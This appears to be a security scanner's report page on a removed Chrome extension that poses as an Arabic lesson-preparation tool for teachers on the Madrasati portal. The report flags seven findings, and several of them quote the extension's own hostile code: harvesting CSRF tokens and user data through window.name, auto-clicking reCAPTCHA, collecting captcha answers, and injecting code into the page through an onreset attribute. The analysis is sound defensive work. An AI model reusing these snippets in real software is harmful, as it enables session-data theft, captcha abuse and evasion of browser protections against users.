تحضيري الشامل

ID: nfinkkeddkialadnpfjajphbnpakikpn

Could be malicious

Supported Languages

🇸🇦Arabic

Extension Info & Metadata

Status
Removed
Version
3
Size
0.02 MB
Rating
4.7/5
Reviews
184
Users
20,000
Type
Extension
Updated
Aug 12, 2024
Category
Productivity Developer
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
مؤسسة تحضيري للبرمجةView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
3
Active
0
Obsolete
3
Listed
3
Unlisted
0
Total Users
30,215

تبسيط تعديل واعداد الحصص للمعلم

اضافة مهمة لدعم المعلمين في انجاز مهامهم اليومية بضغطة زر واحدة 1- اضافة مساعدة للمعلم في تحضر الدروس في جدول منصة مدرستي 2- المساعدة في اضافة الواجبات والاثراءات من منصة عين الى دروسك بشكل سريع وسهل ----------------------------------------------------------------- 3- يمكنك حفظ تحضير واستيراده في درس اخر بدلا من ان تكرر كتابة نفس التحضير لنفس الدرس لفصول متعددة ---------------------------------------------------------------- 4- تساعد الاضافة في تحضير حصص الاسبوع بشكل سريع وواضح 5- تمكنك الاضافة من وضع بيانات واثراءات معتمدة على الدرس المختار حيث تضع رابط الاثراء رابط شرح الدرس على منصة عين او رابط شرحه على اليوتيوب. ------------------------------------------------------------- 6- تساعد الاضافة في تغيير مسار الدرس ومن ثم تقوم بدعمك في تحضير الدرس بناءا على المسار المختار 7- يمكنك تغيير التحضير قبل الحفظ ----------------------------------------------------------- 8- لا تحتاج الاضافة الى اي كلمات مرور او حسابات 9- لا تقوم الاضافة بترحيل اي بيانات خارج جهاز المستخدم ---------------------------------------------------------- برمجة وتصميم : مؤسسة تحضيري لتصميم نظم الحاسب الآلي التعليمية والتدريبية مكة المكرمة 0542946749

Item
Type
Severity
Description
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.

On the Madrasati teacher portal, the extension harvests the page's CSRF token, school ID, the logged-in user's name, and the page title, then concatenates them with a random per-install ID and passes them as the `name` argument to `window.open`. A subsequent extension-controlled script (contentScript.js) loaded into that window can read `window.name` to exfiltrate the entire bundle of credentials/PII without any explicit network request from this file. This is a textbook window.name covert channel used to smuggle authenticated session data out of a privileged page.

contentScript3.js (Line 3812)
chrome.storage.local.set({  "rnbahgdijd": Math.floor((Math.random() * 99999999999) + 1)});chrome.storage.local.get(["rnbahgdijd"], function(items) {  var newWindow = window.open('', document.getElementById("csrfid")    .value + "," + document.getElementById("hSchoolId")    .value + "," + $(".profile-element")    .eq(0)    .find("strong")    .eq(0)    .text()    .trim() + "," + $(".page-title")    .eq(0)    .text()    .trim() + "," + chrome.runtime.getURL("/jquery-2.1.4.min.js") + "," + items.rnbahgdijd);  newWindow.document.write(`         <html><body>         <script src="${chrome.runtime.getURL('/contentScript.js')}"></script>         </body></html>         `);});

Only inside an iframe, the extension hides the page's submit button, auto-clicks the Arabic 'Next' (التالي) button, force-changes a unit selector, scrapes whatever the user types into `#Captcha`, and accumulates those captcha solutions into a JSON array on a hidden DOM element keyed by the random `rnbahgdijd` ID stored in chrome.storage. When enough solutions are collected, the page body is made invisible to hide the activity from the user. This is automation/abuse against the schools.madrasati.sa portal — solving captchas in the background and harvesting the answers — using deliberately obfuscated identifiers (`gggtocheckforthecreateddob`, `gotgfv555`, `hhgfdhju6yt`) to obscure intent.

contentScript2.js (Line 3838)
if (window !== window.parent) {  chrome.storage.local.get(["rnbahgdijd"], function(items) {        function gggtocheckforthecreateddob() {          if ($("#aq" + items.rnbahgdijd).length > 0) {            setTimeout(function() {              $("html, body").animate({                scrollTop: $(document).height() - $(window).height() - 400              });              $('button[type="submit"]').parent().hide();            }, 2000);            function gotgfv555() {              if ($('a:contains("التالي")').length > 0) {                SelectedUnitId.selectedIndex = 1                $('.btn.btn-primary:contains("التالي")').eq(0).click()                  ...                  if (JSON.parse($("#aq" + items.rnbahgdijd).val()).length == document.getElementById("aq" + items.rnbahgdijd).getAttribute("name") && JSON.parse($("#aq" + items.rnbahgdijd).val()).length > 0) {                    document.getElementsByTagName("body")[0].style.visibility = "hidden"                  }

Loaded into google.com/recaptcha/api*/anchor pages (per the manifest's `*://google.com/*` content-script entry), this script auto-clicks the reCAPTCHA 'I am not a robot' checkmark whenever it appears, throttling itself with sessionStorage to avoid detection. Auto-solving Google reCAPTCHA from a content script is a hallmark of CAPTCHA-bypass / bot-automation malware and serves no legitimate purpose for an end-user 'lesson preparation' extension.

myscript3.js (Line 5)
var sid = setInterval(function() {  if (window.location.href.match(/https:\/\/www.google.com\/recaptcha\/api\d\/anchor/) && $(      "#recaptcha-anchor div.recaptcha-checkbox-checkmark")    .length &&    $("#recaptcha-anchor div.recaptcha-checkbox-checkmark")    .is(':visible') && isScrolledIntoView($("#recaptcha-anchor div.recaptcha-checkbox-checkmark")      .get(0))) {    var execute = true;    if (sessionStorage.getItem('accesstime')) {      if (new Date().getTime() - sessionStorage.getItem('accesstime') < 7000) {        execute = false;      }    }    if (execute) {      $("#recaptcha-anchor div.recaptcha-checkbox-checkmark")        .click();      sessionStorage.setItem('accesstime', new Date().getTime());    }    clearInterval(sid);  }}, 500);

The content script injects an extension-bundled script (`myscript2.js`, declared as a web_accessible_resource) directly into the target page's main world via a `<script src=...>` element. This deliberately escapes Chrome's isolated content-script world so the injected payload can read/modify page-level JS state (e.g., `grecaptcha`, `SelectedUnitId`, application globals) on the Madrasati portal. Bundling this loader as a generic helper plus removing the tag after load is a common stealth pattern.

contentScript2.js (Line 3819)
function injectCode(src) {  const script = document.createElement('script');  // This is why it works!  script.src = src;  script.onload = function() {    this.remove();  };  // This script runs before the <head> element is created,  // so we add the script to <html> instead.  nullthrows(document.head || document.documentElement)    .appendChild(script);}injectCode(chrome.runtime.getURL('/myscript2.js'));

This builds a string of JavaScript, assigns it to an inline `onreset` attribute on `<html>`, dispatches a synthetic `reset` event to force the page to execute it, then strips the attribute. This is a well-known trick used by malicious extensions to run arbitrary code in the page's main world while evading static review and CSP — exactly the technique seen in CAPTCHA-farming and credential-stealing extensions.

contentScript2.js (Line 3911)
} else {  $("#Captcha")    .val("");  var actualCode = 'grecaptcha.reset();';  document.documentElement.setAttribute('onreset', actualCode);  document.documentElement.dispatchEvent(new CustomEvent('reset'));  document.documentElement.removeAttribute('onreset');  setTimeout(function() {    togetcaprta();  }, 1000);}

The extension claims to be a Saudi teacher lesson-prep tool, yet it injects content scripts onto every google.com page and exposes `contentScript.js` and `myscript2.js` as web_accessible_resources to *every* `https://*/*` origin. This drastically widens the attack surface beyond the stated purpose and is what enables the in-page script injection and reCAPTCHA auto-click observed in myscript3.js / contentScript2.js.

manifest.json (Line 36)
"matches": ["*://google.com/*", "*://www.google.com/*"],"css": [],"js": ["jquery-2.1.4.min.js", "common.js", "myscript3.js"]..."web_accessible_resources": [  { "resources": ["jquery-2.1.4.min.js"], "matches": ["https://*/*"] },  { "resources": ["contentScript.js"], "matches": ["https://*/*"] },  { "resources": ["myscript2.js"], "matches": ["https://*/*"] }]

Function and variable names are deliberately gibberish (`gggtocheckforthecreateddob`, `gotgfv555`, `togetcaprta`, `hhgfdhju6yt`) and the DOM element used to hold the harvested captcha values is keyed by a random per-install ID (`#aq` + `rnbahgdijd`). Combined with bundling jQuery and js-base64 inside the same content-script blob, this is intentional source-level obfuscation designed to make the script's true purpose hard to identify in review.

contentScript2.js (Line 3844)
function gggtocheckforthecreateddob() {  if ($("#aq" + items.rnbahgdijd).length > 0) {    ...    function gotgfv555() {      ...      function togetcaprta() {        if ($("#Captcha").val() !== "" && JSON.parse(document.getElementById("aq" + items.rnbahgdijd).getAttribute("value")).length !== document.getElementById("aq" + items.rnbahgdijd).getAttribute("name")) {          if (document.getElementById("aq" + items.rnbahgdijd).getAttribute("value").indexOf($("#Captcha").val()) == -1 && $("#Captcha").val() !== "") {            var hhgfdhju6yt = JSON.parse(document.getElementById("aq" + items.rnbahgdijd).getAttribute("value"));            hhgfdhju6yt.push($("#Captcha").val());            $("#aq" + items.rnbahgdijd).val(JSON.stringify(hhgfdhju6yt));

By severity

Critical3
High3
Medium1
Low0

Versions scanned

Showing 1 of 22 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
37

Files with findings

4 distinct paths — top paths by unique finding count:

  • contentScript2.js4
  • contentScript3.js1
  • manifest.json1
  • myscript3.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Data Exfiltration
critical
contentScript3.js (line 3812)On the Madrasati teacher portal, the extension harvests the page's CSRF token, school ID, the logged-in user's name, and the page title, then concatenates them with a random per-install ID and passes them as the `name…
2Privilege Escalation
critical
myscript3.js (line 5)Loaded into google.com/recaptcha/api*/anchor pages (per the manifest's `*://google.com/*` content-script entry), this script auto-clicks the reCAPTCHA 'I am not a robot' checkmark whenever it appears, throttling itsel…
3Unauthorized Data Collection
critical
contentScript2.js (line 3838)Only inside an iframe, the extension hides the page's submit button, auto-clicks the Arabic 'Next' (التالي) button, force-changes a unit selector, scrapes whatever the user types into `#Captcha`, and accumulates those…
4Code Injection
high
contentScript2.js (line 3819)The content script injects an extension-bundled script (`myscript2.js`, declared as a web_accessible_resource) directly into the target page's main world via a `<script src=...>` element. This deliberately escapes Chr…
5Code Injection
high
contentScript2.js (line 3911)This builds a string of JavaScript, assigns it to an inline `onreset` attribute on `<html>`, dispatches a synthetic `reset` event to force the page to execute it, then strips the attribute. This is a well-known trick …
6Privilege Escalation
high
manifest.json (line 36)The extension claims to be a Saudi teacher lesson-prep tool, yet it injects content scripts onto every google.com page and exposes `contentScript.js` and `myscript2.js` as web_accessible_resources to *every* `https://…
7Obfuscation
medium
contentScript2.js (line 3844)Function and variable names are deliberately gibberish (`gggtocheckforthecreateddob`, `gotgfv555`, `togetcaprta`, `hhgfdhju6yt`) and the DOM element used to hold the harvested captcha values is keyed by a random per-i…
URLs
105
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

www.jsdelivr.com/using-sri-with-dynamic-fileshttps://www.jsdelivr.com/using-sri-with-dynamic-files
schools.madrasati.sa/SchoolManagmentReports/StudentInfo/ClassStudentInfo/https://schools.madrasati.sa/SchoolManagmentReports/StudentInfo/ClassStudentInfo/
maroof.sa/254977https://maroof.sa/254977
maroof.sa/Content/dist/images/logo.svghttps://maroof.sa/Content/dist/images/logo.svg
twitter.com/dev903090https://twitter.com/dev903090
t.me/+tRJ_znf23SAzNzQ0https://t.me/+tRJ_znf23SAzNzQ0
tahdiri.com/%D8%B3%D9%8A%D8%A7%D8%B3%D8%A9%20%D8%A7%D9%84%D8%A8%D9%8A%D8%B9%20%D9%88%D8%A7%D9%84%D8%A5%D8%B1%D8%AC%D8%A7%D8%B9%20%D9%88%D8%A7%D9%84%D8%AA%D8%A8%D8%AF%D9%8A%D9%84.htmlhttps://tahdiri.com/%D8%B3%D9%8A%D8%A7%D8%B3%D8%A9%20%D8%A7%D9%84%D8%A8%D9%8A%D8%B9%20%D9%88%D8%A7%D9%84%D8%A5%D8%B1%D8%AC%D8%A7%D8%B9%20%D9%88%D8%A7%D9%84%D8%AA%D8%A8%D8%AF%D9%8A%D9%84.html
tahdiri.com/%D8%AA%D9%88%D8%AB%D9%8A%D9%82-%D9%85%D8%B9%D8%B1%D9%88%D9%81.jpeghttps://tahdiri.com/%D8%AA%D9%88%D8%AB%D9%8A%D9%82-%D9%85%D8%B9%D8%B1%D9%88%D9%81.jpeg
tahdiri.com/%D8%A7%D9%84%D8%B1%D9%85%D8%B2-%D8%A7%D9%84%D8%AA%D8%AC%D8%A7%D8%B1%D9%8A.jpeghttps://tahdiri.com/%D8%A7%D9%84%D8%B1%D9%85%D8%B2-%D8%A7%D9%84%D8%AA%D8%AC%D8%A7%D8%B1%D9%8A.jpeg
tahdiri.com/%D8%A7%D9%84%D8%AD%D8%B3%D8%A7%D8%A8.jpeghttps://tahdiri.com/%D8%A7%D9%84%D8%AD%D8%B3%D8%A7%D8%A8.jpeg
Showing 1 to 10 of 110 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Showing 1 to 10 of 30 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.